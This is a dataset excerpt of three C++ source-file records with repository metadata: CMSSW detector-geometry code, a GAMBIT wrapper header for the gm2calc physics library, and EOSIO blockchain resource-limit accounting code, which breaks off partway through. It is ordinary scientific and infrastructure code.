{"text": "#include \"Geometry/MTDNumberingBuilder/interface/GeometricTimingDet.h\"\n#include \"Geometry/TrackerNumberingBuilder/interface/TrackerShapeToBounds.h\"\n#include \"DetectorDescription/Core/interface/DDFilteredView.h\"\n#include \"DetectorDescription/Core/interface/DDSolid.h\"\n#include \"DetectorDescription/Core/interface/DDMaterial.h\"\n#include \"DetectorDescription/Core/interface/DDExpandedNode.h\"\n#include \"CondFormats/GeometryObjects/interface/PGeometricTimingDet.h\"\n\n#include \"CLHEP/Units/GlobalSystemOfUnits.h\"\n\n#include <boost/bind.hpp>\n\n#include <cfloat>\n#include <vector>\n#include <string>\n\nnamespace {\n\n  const std::string strue(\"true\");\n\n  template <typename DDView>\n  double getDouble(const char* s, DDView const& ev) {\n    DDValue val(s);\n    std::vector<const DDsvalues_type*> result;\n    ev.specificsV(result);\n    std::vector<const DDsvalues_type*>::iterator it = result.begin();\n    bool foundIt = false;\n    for (; it != result.end(); ++it) {\n      foundIt = DDfetch(*it, val);\n      if (foundIt)\n        break;\n    }\n    if (foundIt) {\n      const std::vector<std::string>& temp = val.strings();\n      if (temp.size() != 1) {\n        throw cms::Exception(\"Configuration\") << \"I need 1 \" << s << \" tags\";\n      }\n      return double(::atof(temp[0].c_str()));\n    }\n    return 0;\n  }\n\n  template <typename DDView>\n  std::string getString(const char* s, DDView const& ev) {\n    DDValue val(s);\n    std::vector<const DDsvalues_type*> result;\n    ev.specificsV(result);\n    std::vector<const DDsvalues_type*>::iterator it = result.begin();\n    bool foundIt = false;\n    for (; it != result.end(); ++it) {\n      foundIt = DDfetch(*it, val);\n      if (foundIt)\n        break;\n    }\n    if (foundIt) {\n      const std::vector<std::string>& temp = val.strings();\n      if (temp.size() != 1) {\n        throw cms::Exception(\"Configuration\") << \"I need 1 \" << s << \" tags\";\n      }\n      return temp[0];\n    }\n    return \"NotFound\";\n  }\n}  // namespace\n\n/**\n * What to do in the destructor?\n * destroy all the daughters!\n */\nGeometricTimingDet::~GeometricTimingDet() { deleteComponents(); }\n#ifdef GEOMETRICDETDEBUG\n// for use outside CMSSW framework only since it asks for a default DDCompactView...\nGeometricTimingDet::GeometricTimingDet(DDnav_type const& navtype, GeometricTimingEnumType type)\n    : ddd_(navtype.begin(), navtype.end()), type_(type) {\n  //\n  // I need to find the params by myself :(\n  //\n  //std::cout << \"GeometricTimingDet1\" << std::endl;\n  fromDD_ = true;\n  DDCompactView cpv;  // bad, bad, bad!\n  DDExpandedView ev(cpv);\n  ev.goTo(navtype);\n  params_ = ((ev.logicalPart()).solid()).parameters();\n  trans_ = ev.translation();\n  phi_ = trans_.Phi();\n  rho_ = trans_.Rho();\n  rot_ = ev.rotation();\n  shape_ = ((ev.logicalPart()).solid()).shape();\n  ddname_ = ((ev.logicalPart()).ddname()).name();\n  parents_ = GeoHistory(ev.geoHistory().begin(), ev.geoHistory().end());\n  volume_ = ((ev.logicalPart()).solid()).volume();\n  density_ = ((ev.logicalPart()).material()).density();\n  //  _weight  = (ev.logicalPart()).weight();\n  weight_ = density_ * (volume_ / 1000.);  // volume mm3->cm3\n  copy_ = ev.copyno();\n  material_ = ((ev.logicalPart()).material()).name().fullname();\n  radLength_ = getDouble(\"TrackerRadLength\", ev);\n  xi_ = getDouble(\"TrackerXi\", ev);\n  pixROCRows_ = getDouble(\"PixelROCRows\", ev);\n  pixROCCols_ = getDouble(\"PixelROCCols\", ev);\n  pixROCx_ = getDouble(\"PixelROC_X\", ev);\n  pixROCy_ = getDouble(\"PixelROC_Y\", ev);\n  stereo_ = getString(\"TrackerStereoDetectors\", ev) == strue;\n  siliconAPVNum_ = getDouble(\"SiliconAPVNumber\", ev);\n}\n\nGeometricTimingDet::GeometricTimingDet(DDExpandedView* fv, GeometricTimingEnumType type) : type_(type) {\n  //\n  // Set by hand the ddd_\n  //\n  //std::cout << \"GeometricTimingDet2\" << std::endl;\n  fromDD_ = true;\n  ddd_ = nav_type(fv->navPos().begin(), fv->navPos().end());\n  params_ = ((fv->logicalPart()).solid()).parameters();\n  trans_ = fv->translation();\n  phi_ = trans_.Phi();\n  rho_ = trans_.Rho();\n  rot_ = fv->rotation();\n  shape_ = ((fv->logicalPart()).solid()).shape();\n  ddname_ = ((fv->logicalPart()).ddname()).name();\n  parents_ = GeoHistory(fv->geoHistory().begin(), fv->geoHistory().end());\n  volume_ = ((fv->logicalPart()).solid()).volume();\n  density_ = ((fv->logicalPart()).material()).density();\n  //  weight_   = (fv->logicalPart()).weight();\n  weight_ = density_ * (volume_ / 1000.);  // volume mm3->cm3\n  copy_ = fv->copyno();\n  material_ = ((fv->logicalPart()).material()).name().fullname();\n  radLength_ = getDouble(\"TrackerRadLength\", *fv);\n  xi_ = getDouble(\"TrackerXi\", *fv);\n  pixROCRows_ = getDouble(\"PixelROCRows\", *fv);\n  pixROCCols_ = getDouble(\"PixelROCCols\", *fv);\n  pixROCx_ = getDouble(\"PixelROC_X\", *fv);\n  pixROCy_ = getDouble(\"PixelROC_Y\", *fv);\n  stereo_ = getString(\"TrackerStereoDetectors\", *fv) == \"true\";\n  siliconAPVNum_ = getDouble(\"SiliconAPVNumber\", *fv);\n}\n#endif\n\nGeometricTimingDet::GeometricTimingDet(DDFilteredView* fv, GeometricTimingEnumType type)\n    :  //\n      // Set by hand the ddd_\n      //\n      trans_(fv->translation()),\n      phi_(trans_.Phi()),\n      rho_(trans_.Rho()),\n      rot_(fv->rotation()),\n      shape_(((fv->logicalPart()).solid()).shape()),\n      ddname_(((fv->logicalPart()).ddname()).name()),\n      type_(type),\n      params_(((fv->logicalPart()).solid()).parameters()),\n//  want this :) ddd_(fv->navPos().begin(),fv->navPos().end()),\n#ifdef GEOMTRICDETDEBUG\n      parents_(fv->geoHistory().begin(), fv->geoHistory().end()),\n      volume_(((fv->logicalPart()).solid()).volume()),\n      density_(((fv->logicalPart()).material()).density()),\n      //  _weight   = (fv->logicalPart()).weight();\n      weight_(density_ * (volume_ / 1000.)),  // volume mm3->cm3\n      copy_(fv->copyno()),\n      material_(((fv->logicalPart()).material()).name().fullname()),\n#endif\n      radLength_(getDouble(\"TrackerRadLength\", *fv)),\n      xi_(getDouble(\"TrackerXi\", *fv)),\n      pixROCRows_(getDouble(\"PixelROCRows\", *fv)),\n      pixROCCols_(getDouble(\"PixelROCCols\", *fv)),\n      pixROCx_(getDouble(\"PixelROC_X\", *fv)),\n      pixROCy_(getDouble(\"PixelROC_Y\", *fv)),\n      stereo_(getString(\"TrackerStereoDetectors\", *fv) == strue),\n      siliconAPVNum_(getDouble(\"SiliconAPVNumber\", *fv))\n#ifdef GEOMTRICDETDEBUG\n      ,\n      fromDD_(true)\n#endif\n{\n  const DDFilteredView::nav_type& nt = fv->navPos();\n  ddd_ = nav_type(nt.begin(), nt.end());\n}\n\n// PGeometricTimingDet is persistent version... make it... then come back here and make the\n// constructor.\nGeometricTimingDet::GeometricTimingDet(const PGeometricTimingDet::Item& onePGD, GeometricTimingEnumType type)\n    : trans_(onePGD.x_, onePGD.y_, onePGD.z_),\n      phi_(onePGD.phi_),  //_trans.Phi()),\n      rho_(onePGD.rho_),  //_trans.Rho()),\n      rot_(onePGD.a11_,\n           onePGD.a12_,\n           onePGD.a13_,\n           onePGD.a21_,\n           onePGD.a22_,\n           onePGD.a23_,\n           onePGD.a31_,\n           onePGD.a32_,\n           onePGD.a33_),\n      shape_(static_cast<DDSolidShape>(onePGD.shape_)),\n      ddd_(),\n      ddname_(onePGD.name_, onePGD.ns_),  //, \"fromdb\");\n      type_(type),\n      params_(),\n      geographicalID_(onePGD.geographicalID_),\n#ifdef GEOMTRICDETDEBUG\n      parents_(),  // will remain empty... hate wasting the space but want all methods to work.\n      volume_(onePGD.volume_),\n      density_(onePGD.density_),\n      weight_(onePGD.weight_),\n      copy_(onePGD.copy_),\n      material_(onePGD.material_),\n#endif\n      radLength_(onePGD.radLength_),\n      xi_(onePGD.xi_),\n      pixROCRows_(onePGD.pixROCRows_),\n      pixROCCols_(onePGD.pixROCCols_),\n      pixROCx_(onePGD.pixROCx_),\n      pixROCy_(onePGD.pixROCy_),\n      stereo_(onePGD.stereo_),\n      siliconAPVNum_(onePGD.siliconAPVNum_)\n#ifdef GEOMTRICDETDEBUG\n      ,  // mind the tricky comma is needed.\n      fromDD_(false)\n#endif\n{\n  //std::cout << \"GeometricTimingDet4\" << std::endl;\n\n  if (onePGD.shape_ == 1 || onePGD.shape_ == 3) {  //The parms vector is neede only in the case of box or trap shape\n    params_.reserve(11);\n    params_.emplace_back(onePGD.params_0);\n    params_.emplace_back(onePGD.params_1);\n    params_.emplace_back(onePGD.params_2);\n    params_.emplace_back(onePGD.params_3);\n    params_.emplace_back(onePGD.params_4);\n    params_.emplace_back(onePGD.params_5);\n    params_.emplace_back(onePGD.params_6);\n    params_.emplace_back(onePGD.params_7);\n    params_.emplace_back(onePGD.params_8);\n    params_.emplace_back(onePGD.params_9);\n    params_.emplace_back(onePGD.params_10);\n  }\n\n  ddd_.reserve(onePGD.numnt_);\n  ddd_.emplace_back(onePGD.nt0_);\n  ddd_.emplace_back(onePGD.nt1_);\n  ddd_.emplace_back(onePGD.nt2_);\n  ddd_.emplace_back(onePGD.nt3_);\n  if (onePGD.numnt_ > 4) {\n    ddd_.emplace_back(onePGD.nt4_);\n    if (onePGD.numnt_ > 5) {\n      ddd_.emplace_back(onePGD.nt5_);\n      if (onePGD.numnt_ > 6) {\n        ddd_.emplace_back(onePGD.nt6_);\n        if (onePGD.numnt_ > 7) {\n          ddd_.emplace_back(onePGD.nt7_);\n          if (onePGD.numnt_ > 8) {\n            ddd_.emplace_back(onePGD.nt8_);\n            if (onePGD.numnt_ > 9) {\n              ddd_.emplace_back(onePGD.nt9_);\n              if (onePGD.numnt_ > 10) {\n                ddd_.emplace_back(onePGD.nt10_);\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nGeometricTimingDet::ConstGeometricTimingDetContainer GeometricTimingDet::deepComponents() const {\n  //\n  // iterate on all the components ;)\n  //\n  ConstGeometricTimingDetContainer temp;\n  deepComponents(temp);\n  return temp;\n}\n\nvoid GeometricTimingDet::deepComponents(ConstGeometricTimingDetContainer& cont) const {\n  if (isLeaf()) {\n    cont.emplace_back(this);\n  } else\n    std::for_each(\n        container_.begin(), container_.end(), [&](const GeometricTimingDet* iDet) { iDet->deepComponents(cont); });\n}\n\nvoid GeometricTimingDet::addComponents(GeometricTimingDetContainer const& cont) {\n  container_.reserve(container_.size() + cont.size());\n  std::copy(cont.begin(), cont.end(), back_inserter(container_));\n}\n\nvoid GeometricTimingDet::addComponents(ConstGeometricTimingDetContainer const& cont) {\n  container_.reserve(container_.size() + cont.size());\n  std::copy(cont.begin(), cont.end(), back_inserter(container_));\n}\n\nvoid GeometricTimingDet::addComponent(GeometricTimingDet* det) { container_.emplace_back(det); }\n\nnamespace {\n  struct Deleter {\n    void operator()(GeometricTimingDet const* det) const { delete const_cast<GeometricTimingDet*>(det); }\n  };\n}  // namespace\n\nvoid GeometricTimingDet::deleteComponents() {\n  std::for_each(container_.begin(), container_.end(), Deleter());\n  container_.clear();\n}\n\nGeometricTimingDet::Position GeometricTimingDet::positionBounds() const {\n  Position pos(float(trans_.x() / cm), float(trans_.y() / cm), float(trans_.z() / cm));\n  return pos;\n}\n\nGeometricTimingDet::Rotation GeometricTimingDet::rotationBounds() const {\n  DD3Vector x, y, z;\n  rot_.GetComponents(x, y, z);\n  Rotation rotation(float(x.X()),\n                    float(x.Y()),\n                    float(x.Z()),\n                    float(y.X()),\n                    float(y.Y()),\n                    float(y.Z()),\n                    float(z.X()),\n                    float(z.Y()),\n                    float(z.Z()));\n  return rotation;\n}\n\nstd::unique_ptr<Bounds> GeometricTimingDet::bounds() const {\n  const std::vector<double>& par = params_;\n  TrackerShapeToBounds shapeToBounds;\n  return std::unique_ptr<Bounds>(shapeToBounds.buildBounds(shape_, par));\n}\n", "meta": {"hexsha": "6d09ea84e5212de91c268173659a55e45289be43", "size": 11439, "ext": "cc", "lang": "C++", "max_stars_repo_path": "Geometry/MTDNumberingBuilder/src/GeometricTimingDet.cc", "max_stars_repo_name": "NTrevisani/cmssw", "max_stars_repo_head_hexsha": "a212a27526f34eb9507cf8b875c93896e6544781", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2018-07-25T03:57:34.000Z", "max_stars_repo_stars_event_max_datetime": "2018-07-25T03:57:34.000Z", "max_issues_repo_path": "Geometry/MTDNumberingBuilder/src/GeometricTimingDet.cc", "max_issues_repo_name": "NTrevisani/cmssw", "max_issues_repo_head_hexsha": "a212a27526f34eb9507cf8b875c93896e6544781", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 7.0, "max_issues_repo_issues_event_min_datetime": "2016-07-17T02:34:54.000Z", "max_issues_repo_issues_event_max_datetime": "2019-08-13T07:58:37.000Z", "max_forks_repo_path": "Geometry/MTDNumberingBuilder/src/GeometricTimingDet.cc", "max_forks_repo_name": "NTrevisani/cmssw", "max_forks_repo_head_hexsha": "a212a27526f34eb9507cf8b875c93896e6544781", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2019-09-27T08:33:22.000Z", "max_forks_repo_forks_event_max_datetime": "2019-11-14T10:52:30.000Z", "avg_line_length": 34.6636363636, "max_line_length": 116, "alphanum_fraction": 0.6485706793, "num_tokens": 3209, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.2782567996876011, "lm_q1q2_score": 0.1402153183542565}}
{"text": "#ifndef __wrapper_MSSMNoFV_onshell_decl_gm2calc_1_2_0_hpp__\n#define __wrapper_MSSMNoFV_onshell_decl_gm2calc_1_2_0_hpp__\n\n#include <cstddef>\n#include \"forward_decls_wrapper_classes.hpp\"\n#include \"gambit/Backends/wrapperbase.hpp\"\n#include \"abstract_MSSMNoFV_onshell.hpp\"\n#include \"wrapper_MSSMNoFV_onshell_mass_eigenstates_decl.hpp\"\n#include <Eigen/Core>\n\n#include \"identification.hpp\"\n\nnamespace CAT_3(BACKENDNAME,_,SAFE_VERSION)\n{\n   \n   namespace gm2calc\n   {\n      \n      class MSSMNoFV_onshell : public MSSMNoFV_onshell_mass_eigenstates\n      {\n            // Member variables: \n         public:\n            // -- Static factory pointers: \n            static gm2calc::Abstract_MSSMNoFV_onshell* (*__factory0)();\n            static gm2calc::Abstract_MSSMNoFV_onshell* (*__factory1)(const gm2calc::MSSMNoFV_onshell_mass_eigenstates&);\n      \n            // -- Other member variables: \n      \n            // Member functions: \n         public:\n            void set_verbose_output(bool flag);\n      \n            bool do_verbose_output() const;\n      \n            void set_alpha_MZ(double arg_1);\n      \n            void set_alpha_thompson(double arg_1);\n      \n            void set_Ae(const ::Eigen::Matrix<double, 3, 3, 0, 3, 3>& A);\n      \n            void set_Au(const ::Eigen::Matrix<double, 3, 3, 0, 3, 3>& A);\n      \n            void set_Ad(const ::Eigen::Matrix<double, 3, 3, 0, 3, 3>& A);\n      \n            void set_Ae(unsigned int i, unsigned int k, double a);\n      \n            void set_Au(unsigned int i, unsigned int k, double a);\n      \n            void set_Ad(unsigned int i, unsigned int k, double a);\n      \n            void set_MA0(double m);\n      \n            void set_TB(double arg_1);\n      \n            double get_EL() const;\n      \n            double get_EL0() const;\n      \n            double get_gY() const;\n      \n            double get_MUDIM() const;\n      \n            double get_TB() const;\n      \n            double get_vev() const;\n      \n            const ::Eigen::Matrix<double, 3, 3, 0, 3, 3>& get_Ae() const;\n      \n            const ::Eigen::Matrix<double, 3, 3, 0, 3, 3>& get_Au() const;\n      \n            const ::Eigen::Matrix<double, 3, 3, 0, 3, 3>& get_Ad() const;\n      \n            double get_Ae(unsigned int i, unsigned int k) const;\n      \n            double get_Au(unsigned int i, unsigned int k) const;\n      \n            double get_Ad(unsigned int i, unsigned int k) const;\n      \n            double get_MW() const;\n      \n            double get_MZ() const;\n      \n            double get_ME() const;\n      \n            double get_MM() const;\n      \n            double get_ML() const;\n      \n            double get_MU() const;\n      \n            double get_MC() const;\n      \n            double get_MT() const;\n      \n            double get_MD() const;\n      \n            double get_MS() const;\n      \n            double get_MBMB() const;\n      \n            double get_MB() const;\n      \n            double get_MA0() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_USe() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_USm() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_UStau() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_USu() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_USd() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_USc() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_USs() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_USb() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_USt() const;\n      \n            void convert_to_onshell(double precision, unsigned int max_iterations);\n      \n            void convert_to_onshell(double precision);\n      \n            void convert_to_onshell();\n      \n            void calculate_masses();\n      \n            void check_problems() const;\n      \n            void convert_yukawa_couplings_treelevel();\n      \n      \n            // Wrappers for original constructors: \n         public:\n            MSSMNoFV_onshell();\n            MSSMNoFV_onshell(const gm2calc::MSSMNoFV_onshell_mass_eigenstates& arg_1);\n      \n            // Special pointer-based constructor: \n            MSSMNoFV_onshell(gm2calc::Abstract_MSSMNoFV_onshell* in);\n      \n            // Copy constructor: \n            MSSMNoFV_onshell(const MSSMNoFV_onshell& in);\n      \n            // Assignment operator: \n            MSSMNoFV_onshell& operator=(const MSSMNoFV_onshell& in);\n      \n            // Destructor: \n            ~MSSMNoFV_onshell();\n      \n            // Returns correctly casted pointer to Abstract class: \n            gm2calc::Abstract_MSSMNoFV_onshell* get_BEptr() const;\n      \n      };\n   }\n   \n}\n\n\n#include \"gambit/Backends/backend_undefs.hpp\"\n\n#endif /* __wrapper_MSSMNoFV_onshell_decl_gm2calc_1_2_0_hpp__ */\n", "meta": {"hexsha": "b4ce3969bb554e618b288b32da8a100be33c494b", "size": 4958, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "Backends/include/gambit/Backends/backend_types/gm2calc_1_2_0/wrapper_MSSMNoFV_onshell_decl.hpp", "max_stars_repo_name": "aaronvincent/gambit_aaron", "max_stars_repo_head_hexsha": "a38bd6fc10d781e71f2adafd401c76e1e3476b05", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2020-09-08T20:05:27.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-26T07:57:56.000Z", "max_issues_repo_path": "Backends/include/gambit/Backends/backend_types/gm2calc_1_2_0/wrapper_MSSMNoFV_onshell_decl.hpp", "max_issues_repo_name": "aaronvincent/gambit_aaron", "max_issues_repo_head_hexsha": "a38bd6fc10d781e71f2adafd401c76e1e3476b05", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": 9.0, "max_issues_repo_issues_event_min_datetime": "2020-10-19T09:56:17.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-28T06:12:03.000Z", "max_forks_repo_path": "Backends/include/gambit/Backends/backend_types/gm2calc_1_2_0/wrapper_MSSMNoFV_onshell_decl.hpp", "max_forks_repo_name": "aaronvincent/gambit_aaron", "max_forks_repo_head_hexsha": "a38bd6fc10d781e71f2adafd401c76e1e3476b05", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": 5.0, "max_forks_repo_forks_event_min_datetime": "2020-09-08T02:23:34.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-23T08:48:04.000Z", "avg_line_length": 30.0484848485, "max_line_length": 120, "alphanum_fraction": 0.5473981444, "num_tokens": 1330, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795671, "lm_q2_score": 0.2658804789168741, "lm_q1q2_score": 0.14020316977694036}}
{"text": "#include <eosio/chain/exceptions.hpp>\n#include <eosio/chain/resource_limits.hpp>\n#include <eosio/chain/resource_limits_private.hpp>\n#include <eosio/chain/transaction_metadata.hpp>\n#include <eosio/chain/transaction.hpp>\n#include <boost/tuple/tuple_io.hpp>\n#include <eosio/chain/database_utils.hpp>\n#include <algorithm>\n\nnamespace eosio { namespace chain { namespace resource_limits {\n\nusing resource_index_set = index_set<\n   resource_limits_index,\n   resource_usage_index,\n   resource_limits_state_index,\n   resource_limits_config_index\n>;\n\nstatic_assert( config::rate_limiting_precision > 0, \"config::rate_limiting_precision must be positive\" );\n\nstatic uint64_t update_elastic_limit(uint64_t current_limit, uint64_t average_usage, const elastic_limit_parameters& params) {\n   uint64_t result = current_limit;\n   if (average_usage > params.target ) {\n      result = result * params.contract_rate;\n   } else {\n      result = result * params.expand_rate;\n   }\n   return std::min(std::max(result, params.max), params.max * params.max_multiplier);\n}\n\nvoid elastic_limit_parameters::validate()const {\n   // At the very least ensure parameters are not set to values that will cause divide by zero errors later on.\n   // Stricter checks for sensible values can be added later.\n   EOS_ASSERT( periods > 0, resource_limit_exception, \"elastic limit parameter 'periods' cannot be zero\" );\n   EOS_ASSERT( contract_rate.denominator > 0, resource_limit_exception, \"elastic limit parameter 'contract_rate' is not a well-defined ratio\" );\n   EOS_ASSERT( expand_rate.denominator > 0, resource_limit_exception, \"elastic limit parameter 'expand_rate' is not a well-defined ratio\" );\n}\n\n\nvoid resource_limits_state_object::update_virtual_cpu_limit( const resource_limits_config_object& cfg ) {\n   //idump((average_block_cpu_usage.average()));\n   virtual_cpu_limit = update_elastic_limit(virtual_cpu_limit, average_block_cpu_usage.average(), cfg.cpu_limit_parameters);\n   //idump((virtual_cpu_limit));\n}\n\nvoid resource_limits_state_object::update_virtual_net_limit( const resource_limits_config_object& cfg ) {\n   virtual_net_limit = update_elastic_limit(virtual_net_limit, average_block_net_usage.average(), cfg.net_limit_parameters);\n}\n\nvoid resource_limits_manager::add_indices() {\n   resource_index_set::add_indices(_db);\n}\n\nvoid resource_limits_manager::initialize_database() {\n   const auto& config = _db.create<resource_limits_config_object>([](resource_limits_config_object& config){\n      // see default settings in the declaration\n   });\n\n   _db.create<resource_limits_state_object>([&config](resource_limits_state_object& state){\n      // see default settings in the declaration\n\n      // start the chain off in a way that it is \"congested\" aka slow-start\n      state.virtual_cpu_limit = config.cpu_limit_parameters.max;\n      state.virtual_net_limit = config.net_limit_parameters.max;\n   });\n}\n\nvoid resource_limits_manager::add_to_snapshot( const snapshot_writer_ptr& snapshot ) const {\n   resource_index_set::walk_indices([this, &snapshot]( auto utils ){\n      snapshot->write_section<typename decltype(utils)::index_t::value_type>([this]( auto& section ){\n         decltype(utils)::walk(_db, [this, &section]( const auto &row ) {\n            section.add_row(row, _db);\n         });\n      });\n   });\n}\n\nvoid resource_limits_manager::read_from_snapshot( const snapshot_reader_ptr& snapshot ) {\n   resource_index_set::walk_indices([this, &snapshot]( auto utils ){\n      snapshot->read_section<typename decltype(utils)::index_t::value_type>([this]( auto& section ) {\n         bool more = !section.empty();\n         while(more) {\n            decltype(utils)::create(_db, [this, &section, &more]( auto &row ) {\n               more = section.read_row(row, _db);\n            });\n         }\n      });\n   });\n}\n\nvoid resource_limits_manager::initialize_account(const account_name& account) {\n   _db.create<resource_limits_object>([&]( resource_limits_object& bl ) {\n      bl.owner = account;\n   });\n\n   _db.create<resource_usage_object>([&]( resource_usage_object& bu ) {\n      bu.owner = account;\n   });\n}\n\nvoid resource_limits_manager::set_block_parameters(const elastic_limit_parameters& cpu_limit_parameters, const elastic_limit_parameters& net_limit_parameters ) {\n   cpu_limit_parameters.validate();\n   net_limit_parameters.validate();\n   const auto& config = _db.get<resource_limits_config_object>();\n   _db.modify(config, [&](resource_limits_config_object& c){\n      c.cpu_limit_parameters = cpu_limit_parameters;\n      c.net_limit_parameters = net_limit_parameters;\n   });\n}\n\nvoid resource_limits_manager::update_account_usage(const flat_set<account_name>& accounts, uint32_t time_slot ) {\n   const auto& config = _db.get<resource_limits_config_object>();\n   for( const auto& a : accounts ) {\n      const auto& usage = _db.get<resource_usage_object,by_owner>( a );\n      _db.modify( usage, [&]( auto& bu ){\n          bu.net_usage.add( 0, time_slot, config.account_net_usage_average_window );\n          bu.cpu_usage.add( 0, time_slot, config.account_cpu_usage_average_window );\n      });\n   }\n}\n\nvoid resource_limits_manager::add_transaction_usage(const flat_set<account_name>& accounts, uint64_t cpu_usage, uint64_t net_usage, uint32_t time_slot ) {\n   const auto& state = _db.get<resource_limits_state_object>();\n   const auto& config = _db.get<resource_limits_config_object>();\n\n   for( const auto& a : accounts ) {\n\n      const auto& usage = _db.get<resource_usage_object,by_owner>( a );\n      int64_t unused;\n      int64_t net_weight;\n      int64_t cpu_weight;\n      get_account_limits( a, unused, net_weight, cpu_weight );\n\n      _db.modify( usage, [&]( auto& bu ){\n          bu.net_usage.add( net_usage, time_slot, config.account_net_usage_average_window );\n          bu.cpu_usage.add( cpu_usage, time_slot, config.account_cpu_usage_average_window );\n      });\n\n      if( cpu_weight >= 0 && state.total_cpu_weight > 0 ) {\n         uint128_t window_size = config.account_cpu_usage_average_window;\n         auto virtual_network_capacity_in_window = (uint128_t)state.virtual_cpu_limit * window_size;\n         auto cpu_used_in_window                 = ((uint128_t)usage.cpu_usage.value_ex * window_size) / (uint128_t)config::rate_limiting_precision;\n\n         uint128_t user_weight     = (uint128_t)cpu_weight;\n         uint128_t all_user_weight = state.total_cpu_weight;\n\n         auto max_user_use_in_window = (virtual_network_capacity_in_window * user_weight) / all_user_weight;\n\n         EOS_ASSERT( cpu_used_in_window <= max_user_use_in_window,\n                     tx_cpu_usage_exceeded,\n                     \"authorizing account '${n}' has insufficient cpu resources for this transaction\",\n                     (\"n\", name(a))\n                     (\"cpu_used_in_window\",cpu_used_in_window)\n                     (\"max_user_use_in_window\",max_user_use_in_window) );\n      }\n\n      if( net_weight >= 0 && state.total_net_weight > 0) {\n\n         uint128_t window_size = config.account_net_usage_average_window;\n         auto virtual_network_capacity_in_window = (uint128_t)state.virtual_net_limit * window_size;\n         auto net_used_in_window                 = ((uint128_t)usage.net_usage.value_ex * window_size) / (uint128_t)config::rate_limiting_precision;\n\n         uint128_t user_weight     = (uint128_t)net_weight;\n         uint128_t all_user_weight = state.total_net_weight;\n\n         auto max_user_use_in_window = (virtual_network_capacity_in_window * user_weight) / all_user_weight;\n\n         EOS_ASSERT( net_used_in_window <= max_user_use_in_window,\n                     tx_net_usage_exceeded,\n                     \"authorizing account '${n}' has insufficient net resources for this transaction\",\n                     (\"n\", name(a))\n                     (\"net_used_in_window\",net_used_in_window)\n                     (\"max_user_use_in_window\",max_user_use_in_window) );\n\n      }\n   }\n\n   // account for this transaction in the block and do not exceed those limits either\n   _db.modify(state, [&](resource_limits_state_object& rls){\n      rls.pending_cpu_usage += cpu_usage;\n      rls.pending_net_usage += net_usage;\n   });\n\n   EOS_ASSERT( state.pending_cpu_usage <= config.cpu_limit_parameters.max, block_resource_exhausted, \"Block has insufficient cpu resources\" );\n   EOS_ASSERT( state.pending_net_usage <= config.net_limit_parameters.max, block_resource_exhausted, \"Block has insufficient net resources\" );\n}\n\nvoid resource_limits_manager::add_pending_ram_usage( const account_name account, int64_t ram_delta ) {\n   if (ram_delta == 0) {\n      return;\n   }\n\n   const auto& usage  = _db.get<resource_usage_object,by_owner>( account );\n\n   EOS_ASSERT( ram_delta <= 0 || UINT64_MAX - usage.ram_usage >= (uint64_t)ram_delta, transaction_exception,\n              \"Ram usage delta would overflow UINT64_MAX\");\n   EOS_ASSERT(ram_delta >= 0 || usage.ram_usage >= (uint64_t)(-ram_delta), transaction_exception,\n              \"Ram usage delta would underflow UINT64_MAX\");\n\n   _db.modify( usage, [&]( auto& u ) {\n     u.ram_usage += ram_delta;\n   });\n}\n\nvoid resource_limits_manager::verify_account_ram_usage( const account_name account )const {\n   int64_t ram_bytes; int64_t net_weight; int64_t cpu_weight;\n   get_account_limits( account, ram_bytes, net_weight, cpu_weight );\n   const auto& usage  = _db.get<resource_usage_object,by_owner>( account );\n\n   if( ram_bytes >= 0 ) {\n      EOS_ASSERT( usage.ram_usage <= ram_bytes, ram_usage_exceeded,\n                  \"account ${account} has insufficient ram; needs ${needs} bytes has ${available} bytes\",\n                  (\"account\", account)(\"needs\",usage.ram_usage)(\"available\",ram_bytes)              );\n   }\n}\n\nint64_t resource_limits_manager::get_account_ram_usage( const account_name& name )const {\n   return _db.get<resource_usage_object,by_owner>( name ).ram_usage;\n}\n\n\nbool resource_limits_manager::set_account_limits( const account_name& account, int64_t ram_bytes, int64_t net_weight, int64_t cpu_weight) {\n   //const auto& usage = _db.get<resource_usage_object,by_owner>( account );\n   /*\n    * Since we need to delay these until the next resource limiting boundary, these are created in a \"pending\"\n    * state or adjusted in an existing \"pending\" state.  The chain controller will collapse \"pending\" state into\n    * the actual state at the next appropriate boundary.\n    */\n   auto find_or_create_pending_limits = [&]() -> const resource_limits_object& {\n      const auto* pending_limits = _db.find<resource_limits_object, by_owner>( boost::make_tuple(true, account) );\n      if (pending_limits == nullptr) {\n         const auto& limits = _db.get<resource_limits_object, by_owner>( boost::make_tuple(false, account));\n         return _db.create<resource_limits_object>([&](resource_limits_object& pending_limits){\n            pending_limits.owner = limits.owner;\n            pending_limits.ram_bytes = limits.ram_bytes;\n            pending_limits.net_weight = limits.net_weight;\n            pending_limits.cpu_weight = limits.cpu_weight;\n            pending_limits.pending = true;\n         });\n      } else {\n         return *pending_limits;\n      }\n   };\n\n   // update the users weights directly\n   auto& limits 